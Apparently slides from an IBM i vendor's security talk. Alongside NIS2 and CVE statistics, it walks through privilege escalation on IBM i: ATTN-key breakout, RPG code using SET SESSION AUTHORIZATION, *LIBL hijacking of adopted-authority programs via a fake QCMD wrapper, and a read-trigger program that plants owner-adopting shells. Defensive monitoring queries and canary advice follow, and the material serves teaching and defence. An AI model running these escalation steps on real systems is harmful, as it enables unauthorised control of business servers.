Cybersecurity and IBM i

Koen Decorte

Who are we ?

International IBM i ISV and IBM business partner .

located in Antwerp, Belgium and Madrid Spain

Expertise in RPG, SQL, PHP, HTML, Python, nodejs, linux...

Working with IBM i and its predecessors for more than 40 year

IBM Champion since 2018 and CEAC member

Applications : CDQuery, CD-Account CDSecure, CDErp 3D configurator.

What others talk about, we do.

CD-Invest - Some of our customers

CD INVEST
BI · AI · IBMi

CD-Invest - IBM i Client Stories

Deknudt Frames
Building the framework for a thriving e-commerce operation with IBM i

JORI
Increasing Manufacturing Efficiency During COVID-19 With IBM I and advanced 3D-configurator

Wijnen Van Maele
Tracking wine production with blockchain on IBM i

ID-Logistics
Meeting the Challenges of a Pandemic with IBM i in the Cloud

Diners Club Spain
Streamlining Customer Support with a Hybrid Cloud Application and IBM i

Optimco
Introducing AI and a new customer experience in the car insurance industry on IBM i

CD-Invest - IBM i Client Stories

Fibrocit
Providing a comfortable seat with IBM i

Cras Woodgroup
Modernizing the wood industry with IBM i

Oris
Making vacations easier with IBM i

Steffimmo
Moving to IBM i on POWER9 in the cloud for growth

Stonetales properties
Upgrading and Centralizing on the Cloud with IBM i

Winsol
Digitizing manufacturing on IBM i

CD-Invest - IBM i Client Stories

CSM
Empower more small businesses to access global trade

Bonehill
Adapting IBM i to the modern web

Immo Bonehill

Read more on on https://www.ibm.com/it-infrastructure/us-en/resources/power/ibm-i-customer-stories/

WHAT PEOPLE THINK CYBERSECURITY IS LIKE



WHAT CYBERSECURITY IS ACTUALLY LIKE

Global Cybersecurity Trends

- Rapid increase in ransomware attacks globally
- Rise of supply chain attacks (like SolarWinds)
- Growing adoption of cloud security solutions
- Zero-trust architecture becoming mainstream
- Increased focus on IoT security
- Remote work security challenges
- Rise of state-sponsored cyber operations

Common Types of Cyber Attacks

- Ransomware (35% of all attacks – 70% of target are SMB's)
- Phishing and Social Engineering (40 % of all attacks)
- DDoS (Distributed Denial of Service)
- Man-in-the-Middle Attacks
- SQL Injection
- Cross-Site Scripting (XSS)
- Password and Brute Force Attacks
- Zero-day Exploits

Statistics on Cyber Incidents

- Average time to detect a breach: 207 days
- Most common entry point: compromised credentials
- Percentage of attacks involving human error: ~95%
- Industries most targeted: healthcare, finance, and government
- Percentage increase in ransomware attacks: ~300% since 2019
- Average number of attacks per organization per year : 4
- Average cost per organization : $53,000

Financial Impact of Data Breaches

- Average cost of a data breach: $4.88 million (2024)
- Lost revenue from system downtime
- Recovery and remediation costs
- Legal and regulatory fines
- Impact on stock price and market value
- Long-term reputation damage costs

Regulatory Landscape and Compliance Requirements

- GDPR (General Data Protection Regulation)
- CCPA (California Consumer Privacy Act)
- HIPAA (Healthcare)
- PCI DSS (Payment Card Industry)
- NIST Cybersecurity Framework
- Industry-specific regulations
- International data protection laws

NIS 2 – 17-10-2024 !!

DIRECTIVE (EU) 2022/2555 OF THE EUROPEAN PARLIAMENT AND OF THE COUNCIL
of 14 December 2022
on measures for a high common level of cybersecurity across the Union, amending Regulation (EU) No 910/2014 and Directive (EU) 2018/1972, and repealing Directive (EU) 2016/1148 (NIS 2 Directive)

On 9 may 2018, the EU strengthened its existing Cybersecurity legislation. For operators of essential services, compliance with IEC-62443 became a must have in the EU



Energy
Electricity, Oil & Gas

Transport
Air, Rail, Water & Road (SNCB)

Banking

Financial market infrastructures

Health sector

Drinking water supply and distribution

Digital Infrastructure
IXP, DNS & TLD

Digital Services
Online marketplace, search engine & cloud computing

Will it apply to me?

Essential entities	Important entities
Energy (electricity*, district heating, oil, gas and hydrogen)	Postal and courier services
Transport (air, rail**, water, road)	Waste management
Banking	Chemicals (manufacture, production, distribution)
Financial market infrastructures	Food (production, processing, distribution)
Health (healthcare, EU reference labs, research and manufacturing of pharmaceuticals and medical devices)	Manufacturing (medical devices; computer, electronic and optical products; electrical equipment; machinery; motor vehicles and (semi-)trailers; transport equipment)
Drinking water	Digital providers (search engines, online market places and social networks)
Waste water	
Digital Infrastructure (IXP, DNS, TLD, cloud, data centres, CDN, electronic communications and trust service providers)	
Public administrations	
Space	

* New types of entities in electricity: producers, NEMOs, electricity market participants providing aggregation, demand response or energy storage services

** Infrastructure managers and railway undertakings including operators of service facilities (as defined in Directive 2012/34/EU)

✔ Companies risk fines of up to 10 million for weak cybersecurity.
✔ In extreme cases, managers may even receive a temporary professional ban for leadership roles.
✔ Managers and directors of companies falling under NIS2 must undergo mandatory training
to assess cyber risks and approve all measures to better protect the company against attacks
and make it more resilient.
✔ Managers and directors who do not comply with the rules may be held personally liable.
✔ Many SMEs are not aware that they fall under NIS2, nor that they risk fines for weak cybersecurity.

Top 50 Products By Total Number Of "Distinct" Vulnerabilities

Go to year: 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 All Time Leaders

	Product Name	Vendor Name	Product Type	Number of Vulnerabilities
1	Debian Linux	Debian	OS	8751
2	Android	Google	OS	7008
3	Fedora	Fedoraproject	OS	5060
4	Ubuntu Linux	Canonical	OS	4058
5	Linux Kernel	Linux	OS	3827
6	Windows Server 2016	Microsoft	OS	3377
7	Chrome	Google	Application	3344
8	Iphone Os	Apple	OS	3305
9	Mac Os X	Apple	OS	3203
10	Windows 10	Microsoft	OS	3080
11	Windows Server 2019	Microsoft	OS	2892
12	Windows Server 2008	Microsoft	OS	2881
13	Windows Server 2012	Microsoft	OS	2836

All time CVE IBMi vulnerabilities

IBM » I (Operating system) : Versions

Versions Vulnerabilities (26) Product Dashboard CVSS Report Metasploit Modules

This page lists versions of IBM » I which were included in CVE and/or CPE data. Please note that this list is not exhaustive, there may be other versions of this product which we are not aware of.

Version	Language	Update	Edition	Target Platform	Vulnerabilities	
7.5					14	Version Details
7.4					22	Version Details
7.3					24	Version Details
7.2					19	Version Details
7.1					4	Version Details
6.1					2	Version Details
-					0	Version Details

IBMi

CD INVEST IT SOLUTIONS

IBM » I (Operating system) : Product details, threats and statistics

Versions | Vulnerabilities (26) | Product Dashboard | CVSS Report | Metasploit Modules

Log in to view product risk score details

Vulnerabilities by types/categories

Year	Overflow	Memory Corruption	Sql Injection	XSS	Directory Traversal	File Inclusion	CSRF	XXE	SSRF	Open Redirect	Input Validation
2014	0	0	0	0	0	0	0	0	0	0	1
2017	0	0	0	0	0	0	0	0	0	0	1
2019	0	0	0	2	0	0	0	0	0	0	0
2020	0	0	1	0	0	0	0	0	0	0	0
2021	0	0	0	1	0	0	0	0	0	0	0
2022	0	0	3	1	2	0	0	0	0	0	0
2023	0	0	1	0	0	0	0	0	0	0	0
Total			5	4	2						2

Vulnerabilities by impact types

Year	Code Execution	Bypass	Privilege Escalation	Denial of Service	Information Leak
2014	0	0	0	1	0
2017	0	0	0	0	0
2019	0	0	0	0	0
2020	0	0	0	0	0
2021	0	0	0	0	0
2022	0	0	0	1	0
2023	0	0	6	0	0
Total			6	2	

What about windows ?

Vulnerability Trends Over Time

Year	Overflow	Memory Corruption	Sql Injection	XSS	Directory Traversal	File Inclusion	CSRF	XXE	SSRF	Open Redirect	Input Validation
2014	200	248	0	10	0	1	0	1	0	0	34
2015	173	270	0	31	2	1	1	2	1	0	32
2016	185	177	0	15	0	4	0	1	0	1	36
2017	260	191	0	20	0	0	2	3	0	2	66
2018	16	185	0	54	1	9	2	7	3	1	38
2019	9	150	0	47	4	4	3	10	0	3	55
2020	5	99	0	81	1	1	1	0	0	3	31
2021	14	39	4	10	4	0	1	0	3	0	6
2022	8	13	1	2	1	0	0	0	1	0	1
2023	3	11	0	25	1	0	0	1	0	2	2
2024	1	2	0	5	0	0	1	0	0	0	2
Total	874	1385	5	300	14	20	11	25	8	12	303

IBMi

CD INVEST IT SOLUTIONS

Vulnerabilities by impact types

Year	Code Execution	Bypass	Privilege Escalation	Denial of Service	Information Leak
2014	278	2	23	253	16
2015	323	20	98	228	67
2016	229	31	135	128	85
2017	280	3	93	57	192
2018	292	2	153	34	151
2019	321	2	192	51	177
2020	343	1	557	48	178
2021	310	9	269	53	127
2022	312	2	391	65	102
2023	357	1	262	114	123
2024	62	1	56	24	26
Total	3107	74	2229	1055	1244

All time CVE vulnerabilities

- https://www.cvedetails.com/top-50-products.php?year=0

- https://www.cvedetails.com/version-list/14/26779/1/IBM-I.html

Simple IBM i hacking

Some properties, that differentiate IBM i from your average server platform:

- It is an object-oriented operating system, where object types determine what operations on a piece of data can be performed
- Thanks to complete ISA abstraction, programs can be executed unmodified even when the hardware architecture changes
- A database engine is integrated into the operating system, so you can have an SQL view of practically any component of the system
- The compiler is tightly coupled with the OS, which, besides hardware independence also supports implementing memory safety checks at compile time even for languages like C

Initial Program Breakout

- The attention interrupt key (ATTN) allows the authenticated user to interrupt/end a process and display a menu with additional functions:



Initial Program Breakout

This new menu has multiple options, including CL command execution, but one can just simply press F9 to bring up the command line:



Privilege Escalation by Profile Swapping



Privilege Escalation by Profile Swapping



Privilege Escalation by Profile Swapping

SET SESSION AUTHORIZATION is an SQL statement that swaps the effective user of the current thread to be running as a different user.

```
**FREE
//Compile using CRTSQLRPGI
//Important to set Naming=*SQL so when the program is compiled with USRPRF = *NAMING it runs
//as owner. Change the owner to a profile that has *allobj
Ctl-Opt DftActGrp(*Yes);
dcl-s message char(10);
*inlr = *on;
exec SQL Set Option DatFmt = *ISO, Naming=*SQL;
exec sql set session authorization qsecofr;
exec sql values user into :message;
dsply (message);
exec sql set session authorization system_user;
exec sql values user into :message;
dsply (message);
return;
```

IBMi

CD INVEST IT SOLUTIONS

Beyond the Green Screen

- DDM service also allows command execution.

```
root@kali:~/as400# as400pwn -s=192.168.[redacted] -u=userb1 -p=[redacted] ddm --cmd="CRTSRCPF FILE(USERB1/TESTCMD)"
CPC7301: File TESTCMD created in library USERB1.
```

```
                                Work with Objects

Type options, press Enter.
  2=Edit authority         3=Copy    4=Delete    5=Display authority    7=Rename
  8=Display description    13=Change description

Opt   Object       Type       Library      Attribute    Text
      TESTCMD      *FILE      USERB1       PF
```

Initial Program Breakout revisited

What about *SIGNOFF ? It still allows ATTN !!

```
To select one of the following, type its number below and press Enter:

     1. Work with printer output
     2. Work with jobs
     3. Work with messages
     4. Send messages
     5. Change your password

    75. Information and problem handling

    80. Temporary sign-off









Type a menu option below
      _

F1=Help    F3=Exit    F12=Cancel
```

Initial Program Breakout revisited

Select 2 work with jobs and command access is there



LMTCPB – but not on remote command !

- LMTCPB is only for FTP and 5250
- IBM i exposes the Remote Command API over port 8475 to allow programmatic access
- Shell access !!
- SQL cl: allows command execution

Abusing Adopted Authority on IBM i



Abusing Adopted Authority on IBM i

- Extracting the Source

```
CRTSRCPF FILE(QTEMP/TEST)
RTVCLSRC PGM(USERA1/SHELL) SRCFILE(QTEMP/TEST)
```

Abusing Adopted Authority on IBM i

- Suppose you find something like

```
PGM
CALL PGM(TRANSFER) PARM('200001132211434')
DSPJOBLOG OUTPUT(*PRINT)
ENDPGM
```

Abusing Adopted Authority on IBM i



Abusing Adopted Authority on IBM i

- Create a dummy transfer and added to the libl

PGM

CALL QCMD

ENDPGM

ADDLIBLE LIB(USERB1) POSITION(*FIRST)

Abusing Adopted Authority on IBM i

- No Source? No Problem!

1/ create savf

CRTSAVF USERB1/SAVE1

SAVOBJ OBJ(VULNERABLE) LIB(USERA1) DEV(*SAVF) OBJTYPE(*PGM) SAVF(USERB1/SAVE1) CLEAR(*ALL)

2/ copy out savf

cat /tmp/SAVE1.FILE | iconv -f cp1140 -t utf8 | strings

Abusing Adopted Authority on IBM i

- No Source? No Problem!

```
VULNERABLE
L/D OBJECT DESCRIPTOR
DISK
VULNERABLE
HIST
        &       &
QCLSRV
QLECWI
QSYS
QCLSRV
QSYS
QLEAWI
f
QSYS
"g h
TBTB
TBTB
"g&h
]2Yb
^3Zj
25R<
"i&h
TBTB
TBTB
TBTB
TBTB
"i&h
TBTB
_BN_EXT_CALL_3
_BN_EXT_CALL_2
_BN_EXT_CALL_1
Y]F7
        &       &
VULNERABLE                      QTEMP
_CL_PEP

TRANSFER  *LIBL
200001132211434
*LIBL                   TRANSFER
CALL
        *LIBL
```

```
VULNERABLE
L/D OBJECT DESCRIPTOR
DISK
VULNERABLE
HIST
        &       &
QCLSRV
QLECWI
QSYS
QCLSRV
QSYS
QLEAWI

QSYS
[>t@
"g h
TBTB
TBTB
"g&h
]2Yb
"i&h
TBTB
TBTB
TBTB
TBTB
TBTB
"i&h
TBTB
_BN_EXT_CALL_3
_BN_EXT_CALL_2
_BN_EXT_CALL_1
        &       &
VULNERABLE                      QTEMP
_CL_PEP

TRANSFER  QGPL
200001132211434
^QGPL                   TRANSFER
CALL

_CL_PEP
VULNERABLE
CEEGOTO
Qcl_QCLCLNUP_iexit
Qcl_CHKBI
Qcl_LkLDA
QCL_Function_Check_Exception_Handler
```

```
                          Display All Messages
                                                              System:   S7824581
Job . . :   QPADEV000J    User . . :   USERB1        Number . . . :   295278

3>> call usera1/vulnerable
    Program TRANSFER in library QGPL not found.
    Error found on CALL command.
    CPF0001 received by procedure VULNERABLE. (C D I R)
  ? C
    Application error.  CPF0001 unmonitored by VULNERABLE at statement
      0000000200, instruction X'0000'.
```

JSAVF


JSAVF v1.50
File
Help
Save files
SAVFModel[/home/anerty/Wo
Spools
Source - QSUBSRC/RNDSUB
Display library - QHRM3
Display data area - CHARDTA
Text (Source) - QCBLLESRC/
Retrieve data area - LGLDTA
Retrieve data area - DECDTA
CSV - QCLESRC/BUG
Text (Source) - QTXTSRC/MIN
Job queue
Text (Source) - QCBLLESRC/TESTSVCSQL
IDENTIFICATION DIVISION.
PROGRAM-ID. TESTSVCSQL.
ENVIRONMENT DIVISION.
CONFIGURATION SECTION.
SOURCE-COMPUTER. IBM-AS400.
OBJECT-COMPUTER. IBM-AS400.
DATA DIVISION.
WORKING-STORAGE SECTION.
01 VARS.
02 DTA PIC X(80)
exec sql
BEGIN DECLARE SECTION
end-exec
exec sql
INCLUDE SQLCA
end-exec
exec sql
INCLUDE SQLDA
end-exec
exec sql
END DECLARE SECTION
end-exec
LINKAGE SECTION.
01 ARG0.
02 A0Z0 PIC X(10)
02 A0Z1 PIC S9(09
01 ARG1.
02 A1Z0 PIC X(10)
02 A1Z1 PIC S9(09
PROCEDURE DIVISION USING ARG0 ARG1.
MAINPGM.
INITIALIZE ARG1 SQLCA SQLDA
MOVE A0Z0 OF ARG0 TO A1Z0 O
MOVE A0Z1 OF ARG0 TO A1Z1 O
exec sql
CALL APCLCMD("SNDMSG MSG('Test SQL')
end-exec.
GO TO ENDMAINPGM.
ENDMAINPGM.
EXIT PROGRAM
Display data area - CHARDTAARA
Data area : DTAARA CHARDTAARA
Library : ANERTY1
Type : TYPE *CHAR
Length : LEN 256
Text description : TEXT 256 bytes data area
Offset Hexadecimal Value Value
Display library - QHRM3
Library : QHRM3
Type : PROD
Number of objects : 18
Library ASP number : 1
Library ASP device : null
Create authority : *SYSVAL
Text description :
Object Type Attribute Size Description
#CHKOBJLCK *PGM CLP 40960 オブジェクトロックチェック
#REPLE2 *PGM CLP 24576 ファイル複製
#REPLICAE *PGM CLP 45056 リモートファイル同期終了（一次側）
#REPLICAR *PGM CLP 36864 ファイル複製開始（ターゲット側）
#REPLICAR2 *PGM CLP 28672 ファイル複製（リモート側）
#REPLICARM *PGM CLP 28672 ファイル複製開始（ターゲット側）
#REPLICAS *PGM CLP 69632 ファイル複製開始（一次側）
@REPLICAE *PGM RPG 81920 ファイル複製登録画面
@REPLICAR *PGM RPGLE 40960 ファイル複製（ターゲット側）
GREPLICA *FILE DSPF 8192 ファイル複製対象登録
REPLICAP *FILE PF 40960 ファイル複製対象ファイル
REPLICAE *CMD 4096 ファイル複製終了（ソース側）
REPLICAR *CMD 4096 ファイル複製開始（ターゲット側）
REPLICAS *CMD 4096 ファイル複製開始（ソース側）
REPLICA *DTAARA 4096
$REPLICAE *PNLGRP 4096
$REPLICAR *PNLGRP 4096
$REPLICAS *PNLGRP 4096
Total size : 475136
CSV - QCLESRC/BUG
"SRCSEQ","SRCDAT","SRCDTA"
"000100","070211","#include <stdio.h>"
"000200","070211",""
"000300","070211","int main(int argc, char** argv) {"
"000400","070211"," char* nullptr = NULL, c;"
"000500","070211"," c = *nullptr;"
"000600","070211"," return 0;"
"000700","070211","}"
Text (Source) - QTX...
:WSCST DEVCLASS=TRANSFORM.
:TRNSFRMTBL.
:SPACE
DATA ='20'X.
:CARRTN
DATA ='0D'X.
:LINEFEED
DATA ='0A'X.
:EWSCST.
Retrieve data area - DECDTAA...
123465789012345.123456789
Retrieve data area - LGLDTAARA
0
ce - QSUBSRC/RNDSUB
システム名 :
サブシステム名 :共通サブ
プログラム名 :乱数発生
プログラムＩＤ : RNDSUB
作 成 者 :
作 成 日 :
変 更 者 :
変 更 日 :
001400 030307 H* プログラム概要
001500 030307 H*ＣＩＮＰＵＴ 結果桁数
001600 030307 H*ＣＯＵＴＰＵＴ乱数結果
001700 020917 H*
Checksums of /...
Objects of /home/anerty/Work/Data/Reverse/SAVF/BACKUP.SAVF
Save command : SAVLIB
Library saved : ANERTY1
Save date/time : 2010-03-12 18:37:34
System : 320 9406-652381B
ASP : *SYSBAS
Release level : V5R3
Records. : 478
Saved objects. : 46
Compressed data. : *HIGH
Object Type Attrib... Owner Size (KB) Description Creation
QCLESRC *FILE PF ANERTY 112 C Sources 2007-02-11 20:42:41
QCLESRCI *FILE LF ANERTY 44 Test LF-SRC 2007-08-07 00:07:12
QCLESRCI2 *FILE LF ANERTY 28 Test LF-SRC w/O all members & 4GB limit 2007-08-23 01:24:55
QCMDSRC *FILE PF ANERTY 20 CMD Sources 2010-03-08 23:00:32
QCLLESRC *FILE PF ANERTY 80 CL ILE Source 2006-08-12 17:02:28
QCLSRC *FILE PF ANERTY 20 CL Source 2008-04-07 02:42:45
QDDSSRC *FILE PF ANERTY 160 DDS Source 2006-10-26 01:24:16
QPGMTREE *FILE PF ANERTY 4 2010-03-08 23:21:29
QREXSRC *FILE PF ANERTY 32 REXX Sources 2010-03-08 23:03:51
QTXTSRC *FILE PF ANERTY 20 Text source 2007-07-26 03:15:16
LAR *FILE PF ANERTY 164 2007-03-05 00:35:14

Booby Trapping IBM i

- IBM i includes a database engine, Db2. This level of integration means that practically all objects of the system are accessible via SQL, a powerful tool to discover and analyze system configuration, and also to identify potential vulnerabilities. However, the “database view” of the operating system not only allows us to read data, but lets us insert additional data that can affect the behavior of the system too.

- We can add triggers to affect behaviour

Booby Trapping IBM I – Trap placement

The command to add triggers to physical files is ADDPFTRG, which requires at least the following authorities to work

- For the target physical file object:
  - *READ, *OBJOPR, and *OBJALTER authorities or
  - *OBJMGT authority
- For the library that contains the target object:
  - *EXECUTE privileges
- The other ingredient of our attack is that triggers can be defined so that they execute programs. *EXECUTE authority is required on the trigger program and its library too, but this is usually not a problem since we will create these programs.

Booby Trapping IBM I – Potential candidates

```
SELECT
   OFILE.SYSTEM_OBJECT_SCHEMA,  OFILE.SYSTEM_OBJECT_NAME,     OFILE.AUTHORIZATION_NAME,
OFILE.OBJECT_AUTHORITY
FROM
   QSYS2.OBJECT_PRIVILEGES OFILE
JOIN QSYS2.OBJECT_PRIVILEGES OL ON
   OL.SYSTEM_OBJECT_NAME = OFILE.SYSTEM_OBJECT_SCHEMA AND
   OFILE.AUTHORIZATION_NAME = OL.AUTHORIZATION_NAME
WHERE
   ((OFILE.DATA_READ = 'YES' AND     OFILE.OBJOPER = 'YES' AND    OFILE.OBJALTER = 'YES')
    OR    OFILE.OBJMGT = 'YES') AND   OL.DATA_EXECUTE='YES' AND   OFILE.OBJECT_TYPE = '*FILE' AND
   OL.OBJECT_TYPE = '*LIB' AND    OFILE.SYSTEM_OBJECT_NAME NOT LIKE 'Q%' AND
   OFILE.AUTHORIZATION_NAME NOT LIKE 'Q%' AND  OFILE.AUTHORIZATION_NAME <> OFILE.OWNER
```

Booby Trapping IBM I – exploit

Step 1

Create a QCMD wrapper *PGM because the default object authorities don’t allow duplicating the built-in QSYS/QCMD object.

You can use the following simple CL script for executing interactive commands:

```
PGM
        CALL QCMD
ENDPGM
```

Booby Trapping IBM I – exploit

Step 2

Set the *PGM authority to *PUBLIC *ALL, which allows any user to duplicate the object.

Booby Trapping IBM I – exploit

Step 3

Create a library (PENTESTLIB) that will contain the duplicated QCMD wrappers. Set the authority of the *LIB to *PUBLIC *ALL, which allows any user to create the QCMD wrapper in the library (we should cover OPSEC considerations later :)).

Booby Trapping IBM I – exploit

Step 4

Create the following trigger *PGM (USERB2/TRIGGER) object:

```
PGM
  DCL VAR(&USRPRF) TYPE(*CHAR) LEN(10)
  /* The name of the current user profile. */
  RTVUSRPRF USRPRF(*CURRENT) RTNUSRPRF(&USRPRF)

  /* Verify the existence of the QCMD wrapper. */
  CHKOBJ OBJ(PENTESTLIB/&USRPRF) OBJTYPE(*PGM)
  MONMSG MSGID(CPF9801) EXEC(DO) /* Object &2 in library &3 not found.  */
    /* Duplicate the QCMD wrapper with the name of the current user profile. */
    CRTDUPOBJ OBJ(FAKEQCMD) FROMLIB(USERB2) OBJTYPE(*PGM) TOLIB(PENTESTLIB) NEWOBJ(&USRPRF)
    CHGPGM PGM(PENTESTLIB/&USRPRF) USRPRF(*OWNER) /* See below */
  ENDDO
ENDPGM
```

Booby Trapping IBM I – exploit

Step 5

Add the trigger *PGM to the database file (USERB1/USERDB). In this example, an *AFTER trigger is configured for the *READ event:

ADDPFTRG FILE(USERB1/USERDB) TRGTIME(*AFTER) TRGEVENT(*READ) PGM(USERB2/TRIGGER)

Booby Trapping IBM i

Use this technique as a defense

- change the trigger program so that it sends an e-mail, prints a warning (make sure you don't use tractor-feed paper…), turns on a siren, etc. Then place the trigger on some object that may be of interest to an attacker, and you have a nice little canary that alerts you if users wander to forbidden territory. You don't even have to risk exposing actual sensitive data, but it's crucial that the booby trapped objects

    - look valuable for an attacker and

    - are not in active use (or you'll end up listening to sirens constantly)

IBMi

CD INVEST IT SOLUTIONS

Booby Trapping IBM i

More info on the canary token technique on

https://docs.canarytokens.org/guide/

https://engage.mitre.org/

Another CAVEAT for triggers !

Be very cautious about the usage of Read Triggers. Not only do they add the performance overhead of a program call to each read operation, their presence on a physical file or table forces the Classic Query Engine to be used instead of the SQL Query Engine.

Protections against Privilege Escalation

Conduct your own Penetration Testing

and

Improve/Extend your systems monitoring

For this example:

1) Strictly control who can create *PGM/*SRVPGMs
2) Regularly monitor the existence of Database Trigger Programs
3) Restrict who can use commands like Add Physical File Trigger (ADDPFTRG) (Default *PUBLIC authority is *USE!)

Protections against Privilege Escalation

Db2 Obfuscation

```
VALUES(SYSIBMADM.WRAP
 ('CREATE PROCEDURE chgSalary(IN empno CHAR(6))
  BEGIN
    UPDATE employee SET empsal = empsal*(1 +
    .05*empjobtype)
      WHERE empid = empno;
  END') );
```

```
CREATE PROCEDURE CHGSALARY ( IN EMPNO CHAR ( 6 ) )
 WRAPPED QSQ07040
 aacxW8plW8VnG8pHG8VnG8pD68:r69pnl9VB08FJWqpdW8pdW8pdW_FHaqebaqeba
Jq:otqQkPPBKTfu8somd1ZxRePVWQ:bE_S1IHeVO1CU5AvdG231KqJ04aGHWEpniJI4U
d9UCK97KHedXzi1
gmKGgB7nT4kD2cxNS7wUjsNE:CkSI10796bdylzFfhg3xvXT14qaa;
```

Protections against Privilege Escalation

Db2 Obfuscation

```
call SYSIBMADM.CREATE_WRAPPED('CREATE PROCEDURE prodlib.chgSalary(IN
  empno CHAR(6)) BEGIN
    UPDATE employee SET empsal = empsal*(1 +
      .05*empjobtype) WHERE empid = empno;
  END');

select routine_definition from
 qsys2.sysroutines where routine_schema =
 'PRODLIB';
```

ROUTINE_DEFINITION
WRAPPED QSQ07040 aacxW8plW8VnG8pHG8VnG8pD69pn69FLl9FpY9FpWqpdW

Protections against Privilege Escalation

Obfuscation prevents a Bad Actor from disrupting or compromising your procedures, functions, and triggers

This protection applies to everyone, even those who have elevated authorities

Protections against Privilege Escalation

When a program adopts authority,
it uses the authority for the user that is running **plus**
the authority of the owner of the executable

The **adopted authority** is in affect while the program is on the call stack

The USRPRF(*OWNER vs *USER) parameter indicates whether
adopted authority will be used when the program is called

Reference documentation - Objects that adopt the owner's authority

Adopted Authority Recommendations

- Adopt the minimum authority required
- Monitor closely what the program allows the caller to do
- Watch out for outbound program calls
- Avoid *LIBL references within the adopted program

Protections against Privilege Escalation

Which programs use adopted authority and are not configured with *PUBLIC - *EXCLUDE or *AUTL

```
with adopt_pgms(lib_name, pgm_name, obj_type) as (
select program_library, program_name, object_type from qsys2.program_info
where PROGRAM_LIBRARY not like 'Q%' and PROGRAM_LIBRARY not like 'SYS%'
      and user_profile = '*OWNER'
)
select lib_name, pgm_name, obj_type,  OBJECT_AUTHORITY as public_authority
  from adopt_pgms, lateral (
        select * from table (
              qsys2.object_privileges(
                system_object_schema => lib_name,
                system_object_name   => pgm_name,
                object_type          => obj_type)))
     where AUTHORIZATION_USER = '*PUBLIC' and
           OBJECT_AUTHORITY not in ('*EXCLUDE', '*AUTL')
order by lib_name, pgm_name, obj_type;
```

SQL and Adopted Authority

- The SET OPTION statement is used to control build-time decisions
- Some of the decisions relate to security settings

usrprf-option



dynusrprf-option



SQL and Adopted Authority

- **USRPRF** – Static SQL statements (typically defaults to *NAMING)
  If the naming convention is *SQL, USRPRF(*OWNER) is used.
  If the naming convention is *SYS, USRPRF(*USER) is used.

- **DYNUSRPRF** – Dynamic SQL statements (typically defaults to *OWNER)

- So… NAMING(*SQL) will default to adopting the authorities of the owner of the program, for both Static & Dynamic SQL

Best Practice: Always control USRPRF & DYNUSRPRF via SET OPTION

Dynamic SQL User Profile

- DYNUSRPRF – User profile to be used for Dynamic SQL statements
  Two values:
  1) *USER – Run with the authorities of the caller
  2) *OWNER – Run with the authorities of the owner of the program
- Use SYSPROGRAMSTAT, PROGRAM_INFO, and BOUND_MODULE_INFO to review current settings
- **SWAP_DYNUSRPRF swaps the DYNUSRPRF settings (*USER ←→ *OWNER) without having to rebuild the program**

```
CALL QSYS2.SWAP_DYNUSRPRF('PRODLIB', 'MYPGM', '*PGM');
```

IBMi

CD INVEST IT SOLUTIONS

Secure API Development

- Implement proper authentication (OAuth, API keys)
- Use HTTPS for all API communications
- Apply rate limiting and throttling
- Validate all input parameters
- Implement proper error handling
- Log all API activities
- Consider using IBM i Access Client Solutions for secure APIs
- Apply principle of least privilege for API accounts

Secure DevOps Practices

- Implement source control (Git)
- Automate security testing
- Use change management tools
- Implement continuous integration
- Apply proper promotion processes
- Utilize code reviews
- Implement separation of duties
- Apply vulnerability scanning tools

Security Testing and Validation

- Implement unit testing with security focus
- Conduct regular code reviews
- Utilize static code analysis tools
- Perform penetration testing
- Apply dynamic application security testing
- Use IBM i security scanning tools
- Conduct regular security audits
- Test disaster recovery procedures

AI-Powered Code Validation

> AI analyzes RPG code for compliance with company coding standards, best practices, and logic flaws.

How It Works:

1. RPG code is submitted to CDinvest API
2. AI evaluates code against company rules
3. Issues are identified with line numbers
4. Results returned in structured JSON
5. Findings reported to SonarQube

```
{
  "compliant": false,
  "issues": [
    {
      "line": 42,
      "severity": "MAJOR",
      "message": "Procedure missing documentation",
      "rule_id": "DOC_MISSING"
    },
    {
      "line": 67,
      "severity": "MINOR",
      "message": "Variable naming not camelCase",
      "rule_id": "NAMING_CONVENTION"
    }
  ]
}
```

IBMi

CD INVEST IT SOLUTIONS

Security Analysis with AI

Dedicated security scanning identifies potential vulnerabilities in RPG code before deployment.

Security Vulnerabilities Detected:

- SQL injection vulnerabilities
- Improper input validation
- Hardcoded credentials
- Insecure authorization
- Buffer overflows
- Path manipulation issues
- Missing error handling in security-critical code


```
{
  "secure": false,
  "vulnerabilities": [
    {
      "line": 125,
      "severity": "CRITICAL",
      "vulnerability_type": "SQL_INJECTION",
      "message": "Direct user input in SQL query",
      "remediation": "Use prepared statement",
      "cwe_id": "CWE-89"
    }
  ]
}
```


IBMi

CD INVEST IT SOLUTIONS


ibm-i-rpg-project
main
March 8, 2025 at 6:56 PM Version not provided
Overview
Issues
Security Hotspots
Measures
Code
Activity
Project Settings
Project Information
My Issues
All
Bulk Change
1 / 10 issues
0 effort
Filters
Clear All Filters
Issues in new code
Type CODE SMELL
Clear
Bug 0
Vulnerability 0
Code Smell 10
Press Ctrl to add to selection
Severity
Blocker 0
Minor 1
Critical 0
Info 1
Major 8
Scope
Resolution
Status
Security Category
Creation Date
Language
Rule
Tag
Directory
File
Assignee
Author
adrcross01.rpgle
Code uses fixed-format RPG instead of free-format CDINVEST-AI
17 hours ago L1
Code Smell Major Open Not assigned 0min effort Comment
No tags
File I/O operations lack error handling CDINVEST-AI
17 hours ago L1
Code Smell Major Open Not assigned 0min effort Comment
No tags
Variables not explicitly declared with proper data types CDINVEST-AI
17 hours ago L1
Code Smell Major Open Not assigned 0min effort Comment
No tags
Variable names do not follow camelCase convention CDINVEST-AI
17 hours ago L1
Code Smell Minor Open Not assigned 0min effort Comment
No tags
No procedure comments describing purpose and parameters CDINVEST-AI
17 hours ago L4
Code Smell Major Open Not assigned 0min effort Comment
No tags
GOTO statement used CDINVEST-AI
17 hours ago L7
Code Smell Major Open Not assigned 0min effort Comment
No tags
GOTO statement used CDINVEST-AI
17 hours ago L11
Code Smell Major Open Not assigned 0min effort Comment
No tags
Hard-coded value 'CRO' should be defined as a constant CDINVEST-AI
17 hours ago L15
Code Smell Major Open Not assigned 0min effort Comment
No tags
GOTO statement used CDINVEST-AI
17 hours ago L16
Code Smell Major Open Not assigned 0min effort Comment
No tags
No error messages externalized in message files CDINVEST-AI
17 hours ago L21
Code Smell Info Open Not assigned 0min effort Comment
No tags
10 of 10 shown

